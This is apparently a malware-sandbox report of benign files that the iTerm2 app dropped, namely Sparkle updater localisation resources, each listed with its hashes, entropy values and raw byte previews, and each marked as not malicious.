Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23032
Entropy (8bit):	6.892636684297516
Encrypted:	false
SSDEEP:	384:bRgbiTr3E0UeEYNg7W+EO7fiv2YJtgms5tQHNKwq7H/GjVu:1g+T+eEYyH7fiv2YJLLNq7fGM
MD5:	0C79D1A7F11C504277057703A80BDE53
SHA1:	A1B7D8BDAF13DC173F6F21DAF4C4F749DCB7DB87
SHA-256:	E27034BC34F4F32EDC1C0F011E1AD1D555CBA0304BE49E2CCC5367263CB28C65
SHA-512:	50B3F3E8AC42B4414F44959E877374FC8AB86DB0420CD67F3C57BBE25FF42844B649E70623A070046088916B77D47C708E933E6F35179EF1BF43FFDA713E4E7C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19881
Entropy (8bit):	6.831857831367482
Encrypted:	false
SSDEEP:	384:IAgjvME0DeEYNg74d+0VutleshI8tEX4xlobM78XUzrBNQ7e:JgOeEYyMVutUshI3XsloaUe
MD5:	C23CB3B45036A7D289B522189A084B78
SHA1:	29F5B516D1153C18F9B6BF4C37646966A1E05DC5
SHA-256:	820ACBDA8A5CE9246E2D0BEE878AC931286F2DE45B8076FEEE975AE7A1F62059
SHA-512:	78328229F0C4E128803372D4D31E6DC8FF9799ADB5269D118E169E3C327B1F0999DFF3DC3EEDF711D2BBDAFE349D34C3DB30CFCFB9B22D6922547C2F4FD48C3C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6204
Entropy (8bit):	4.275183883783702
Encrypted:	false
SSDEEP:	96:M4pBu2l3w35QUiRRUxosW6YxcjxwRmF3nEmCn2/n6WOvOVqTV:M0l3w35QUIU6dp8F3Un2/5vV6
MD5:	7163E65587615B1E11A65C673FAD612F
SHA1:	66276E3BF414D1BF9422DFF5BA24762ED8AAFE76
SHA-256:	A39B5CD0514D74677304CD911A964344529817B24C14D65B7CFCA1DD2BABB7B7
SHA-512:	D567882C371B243C234FCEFA95A1196CD8A624B3C9B32ABE03DCDC3A06FAB7A87FC71523BD4F112C95F1D069583076A27B6A0CBFBB93510AF077B13D88ACD39D
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.t.(...). .....\... ............. ...\.....D. ...p.t...X... ....... .X.........L.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@.t.(...). .....l. .t....... .C.D. ...\|.t... ...@. .}.0. ..... ...h..... ......... ...<...\. ...p.t... .`. ... ........... .%.1.$.@.D.(.\|.). .Q.....\..... ...T.\. .t...X... ..... .....t. .......$...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13500
Entropy (8bit):	6.712556323720868
Encrypted:	false
SSDEEP:	192:U1WzBQAFEG5psOeYjqE0lCjeEYNMtKwqJ36l6/6T9rWxQ88m4p:UgzJEkseqE0EeEYNg7qJ36l6I98F8me
MD5:	DD601310EAB32949DA87B4540AD894CA
SHA1:	F7CF64AF453033F60F222173CDCE6B06977DE96F
SHA-256:	2FFAA40A6B0C3691141B20AD73A795BDDE38D5E1CE5B412FAE00374908A89545
SHA-512:	9B6C54A99FCEB5134D613C789B2D0B71CEA8CDB727DB2BD506E4AC4E463DDDE49DBF6AB63FC975E7617C10BA60C40F75469344F9BAF8C6B559B2EF77FAF2E25B
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23027
Entropy (8bit):	6.885495924835657
Encrypted:	false
SSDEEP:	384:bRgbiTR3E0UeEYNg7W+EH7Aov2YJtgd/5tQHNKwFgnbFXaRzIP:1g+TIeEYyk7Aov2YJEkNF8bFh
MD5:	2040705A31587941D96BD77228A310D5
SHA1:	C969D06EA70FD944BD02BC3108CC28E7B03DD114
SHA-256:	E3F2551E3606E8B87632B181997B5AC77575C9EDF84AFF52922FF57C4FA8A9B3
SHA-512:	D4A5CC8AA1C8DE96B07FBCA09F34CA85CA7160E242928ABA8E2DD93D0906288707EBC337979490B7DAE89EA6564B8D7CC2D45A6E741580C836EAF456634351DE
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20137
Entropy (8bit):	6.765014871190961
Encrypted:	false
SSDEEP:	384:IAgjvKE0DeEYNg74d+0VutleshI8tESs1xlobM78XuShZdXIv:JgAeEYyMVutUshI3SsLloSSXe
MD5:	F0D474925E83D42E1A61DF73C72FADF1
SHA1:	3890FF1BE9F8AD339535F32D603108B934E4037A
SHA-256:	4FED20C69E143F9F2CE3FCA23954CFE98703E55339B3DF235DC6263F98CB262D
SHA-512:	06E3A3EDB194035F575514F23E68A8EDA1F33E4E2B5F3039A87CDEAF237013F1C1D9ACB5142312FC3A5F761967955EB94CBCE8538A3A36872C82DB753F1C05CB
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9338
Entropy (8bit):	3.4087357454467995
Encrypted:	false
SSDEEP:	192:M27q3k3lQUuU6Jx/0GWHsyZJXi2nxVCrJpkq1/i42a:Z4/si2xVCrJpkq1Ua
MD5:	D570072AA1A1DC617F11B9FD3591B9F1
SHA1:	65D5B614210148288DCF36E5A6255BCEA390B34D
SHA-256:	0A21A95B19F216A70BEF4604698EAD65ABD9A9DFCBDC8FE097FE7C55FFE3F72B
SHA-512:	3C903E7F627A78223A893AF8412C2F19F0D384F8DB98BC2867B774CF54D3DA76D23DB626F236C8FEA4511EC081423D86995E15874B51DA35B542F021EE224468
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. . .e.r. .l.a.s.t.e.t. .n.e.d. .o.g. .e.r. .k.l.a.r. .t.i.l. .b.r.u.k.!. . .D.e.t.t.e. .e.r. .e.n. .v.i.k.t.i.g. .o.p.p.d.a.t.e.r.i.n.g.;. ...n.s.k.e.r. .d.u. ... .i.n.s.t.a.l.l.e.r.e. .o.g. .r.e.s.t.a.r.t.e. .%.1.$.@. .n...?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .e.r. .l.a.s.t.e.t. .n.e.d. .o.g. .e.r. .k.l.a.r. .t.i.l. .b.r.u.k.!. ...n.s.k.e.r. .d.u. ... .i.n.s.t.a.l.l.e.r.e. .o.g. .r.e.s.t.a.r.t.e. .%.1.$.@. .n...?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13496
Entropy (8bit):	6.720301914519542
Encrypted:	false
SSDEEP:	192:U1WzBQAF/G5/XOeYjqE0lCjeEYNMtKwqJ36lT59/6T9rW5zw978uH:UgzJ/QPeqE0EeEYNg7qJ36lTjI92q
MD5:	71DAA9EE1CC7C2094A9C6A6C35A7733F
SHA1:	FF7CE92403618339180B0E0718A4B509F424EF1D
SHA-256:	562F33543AD9C75B47CCBB8997787968F05FAF1A40190B099101BDF98A9BE652
SHA-512:	8BA8EB4448E61BA7C1B1AF2ED21D5F011AAA678A22CD28071EB7B2DF823918F963336BD9444B5E50315E6684646268282B753E1D2B8222EE50E132EEBBF84F92
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23071
Entropy (8bit):	6.8812578515854925
Encrypted:	false
SSDEEP:	384:bRgbiTVa3E0UeEYNg7W+ElOL6grv2YJtgtZ5tQHNKwoo+uRb/b3FhiJnAwkK:1g+TVzeEYygOL6grv2YJwCNo2NLiJVkK
MD5:	486FF34F3B560CDDCDC867B13DD8BFF0
SHA1:	37D159CB1137EAC752F56C979444AE80330BC4B8
SHA-256:	002309971566FFFC32782AACE1311450DE7B126D684B7634F13BD6E4DDAB0B49
SHA-512:	4AE4CB98E79EC72C794D528EA024FB52FAB36F71EE08791F4E4D8CD0A1615455196C8439C07C4F2B60C5A64A8BFDCC947A06A4202571E8515941DB2744146653
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19961
Entropy (8bit):	6.8109157201126305
Encrypted:	false
SSDEEP:	384:IAgjvzE0DeEYNg74d+0VutleshI8tEO5EkPkxlobM78X6QAQOuagO4:JgNeEYyMVutUshI3OlolourO
MD5:	6F33310A2967C29A838EC3E2BE8EF911
SHA1:	D0A9AD93198BA9435EDC28082B94B7C6FE886A15
SHA-256:	9D1C0CC441E7EBFD5C3ACB0E7C841B4EC3B11C3FA3EDBDD9493E41D285DB676F
SHA-512:	BE1808710E66FFCE955CB9CDF118196D95B62453B259A54A577FA0BE101D87A1F49787B88AC7A2062DB7F9EB6CF4A515E6C2C5B552729AAAE2A6C53FA45F94EC
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8834
Entropy (8bit):	3.3988041519007752
Encrypted:	false
SSDEEP:	192:Mo3uw3ylQUUUuKb1jW3nc7ncJxkNCtH42X:o/KVHgyc7ncJxkNCtBX
MD5:	02EE6ED445DCB87B8B585844339D50A8
SHA1:	DC1B030D070C0B1B70BE5AF4ED8CD31B4F7A6E65
SHA-256:	ACE6F719CFDE4D4661B3F414BACA41FECB553CD91253BE6F64A4792CD71D4DE9
SHA-512:	BF1F824FE5B53DFD6C6BC25512192F9175A51ADB775D8AE47CC31670A851417C36622DCDCCBE81481B3BD41480D1CFDC06202ADDE0C12D6FF84BCC79067263FE
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .i.s. .g.e.d.o.w.n.l.o.a.d. .e.n. .k.l.a.a.r. .o.m. .t.e. .i.n.s.t.a.l.l.e.r.e.n.!. .W.i.l. .j.e. .%.1.$.@. .n.u. .i.n.s.t.a.l.l.e.r.e.n. .e.n. .h.e.r.s.t.a.r.t.e.n.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .n.i.e.t. .w.o.r.d.e.n. .g.e...p.d.a.t.e.t.,. .o.m.d.a.t. .h.e.t. .v.a.n.u.i.t. .e.e.n. .a.l.l.e.e.n.-.l.e.z.e.n.-. .o.f. .t.i.j.d.e.l.i.j.k.e. .l.o.c.a.t.i.e. .g.e.o.p.e.n.d. .i.s... .V.e.r.p.l.a.a.t.s. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13575
Entropy (8bit):	6.702755456672109
Encrypted:	false
SSDEEP:	192:U1WzBQAFgG2+OeYjqE0lCjeEYNMtKwqJ36lO/6T9rWe2T0SjY+m:UgzJgUeqE0EeEYNg7qJ36lOI960SjYP
MD5:	E38164434FD9ABC4EF360BF40C623AFB
SHA1:	FC5AA2573261A29EE05DC1CAB64822C3A42871EF
SHA-256:	E4CE707DB44129DCD8CAC499A50453CF34A8DEF377C8D3281D5D593EA356236D
SHA-512:	50D672D594C374E88E5B9524E92D454C1AA7C75628C80549EB2ED0F74EBFF1F2DD04F3E717BA13B6D3E721F4E87A131BFFBD47017E30B529A9E7F45F0154EF78
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23177
Entropy (8bit):	6.863079549045864
Encrypted:	false
SSDEEP:	384:bRgbiTB3E0UeEYNg7W+E3CHQ8v2YJtgpu5tQHNKwldqEHzwxEF:1g+TYeEYyGCHQ8v2YJoRNl1wxEF
MD5:	66E685F8CEA709B479230313D2244BF3
SHA1:	ABD2D6C3C4DCBAE2683C844CEB5A93E441977A00
SHA-256:	B2DE4720034289579FE4817C9EDAB5DBF5CD88046C7A1DF821452D923FCA5EDD
SHA-512:	B388D86684C73BABC74AAB821E01C03BCD080520272EF2E7EFBE9F5A7E9CCF8A8D7091CB90A682BB359F658BEAD12B6705A35BEB637D8584A10A6A1E887EE73F
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20028
Entropy (8bit):	6.800999533397216
Encrypted:	false
SSDEEP:	384:IAgjvBE0DeEYNg74d+0VutleshI8tE25xlobM78XAGgR9RHM15KQF:Jg/eEYyMVutUshI32HloJgR415b
MD5:	AF8C535416A836BA33B7B90AB486BBD0
SHA1:	A8403DAFF8C8458626D3CC7515581326C8890A67
SHA-256:	DC1BBE671D4E8FAE15E2223A1C0F348C2B4FF1FDF6460C4F3A87FA556E846B80
SHA-512:	6DDE45E70FB3172932A866840639EAB14F093030D695E55EA4D073E4F6A619EE8C721E506A94196C81839934ACC0F478962F296DE4DDF2A508D2B3C20091BEF4
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text, with very long lines
Category:	dropped
Size (bytes):	8478
Entropy (8bit):	3.5268749806085373
Encrypted:	false
SSDEEP:	192:BbK0PkzP7sJ3x3poU5m01bopR+yDKlU+no5dGeuZ:DPQPQak1b6+yDO7o54T
MD5:	0927399C8C1DF3BBFC163044761A16CE
SHA1:	B5B28269A48A2E3BC2EE70F17ECFF3C5D3B4B01D
SHA-256:	C86B7E81CA3A9F39FB10C1AB623E505067F2FC0C7F1DC30794F8BBBF683074F9
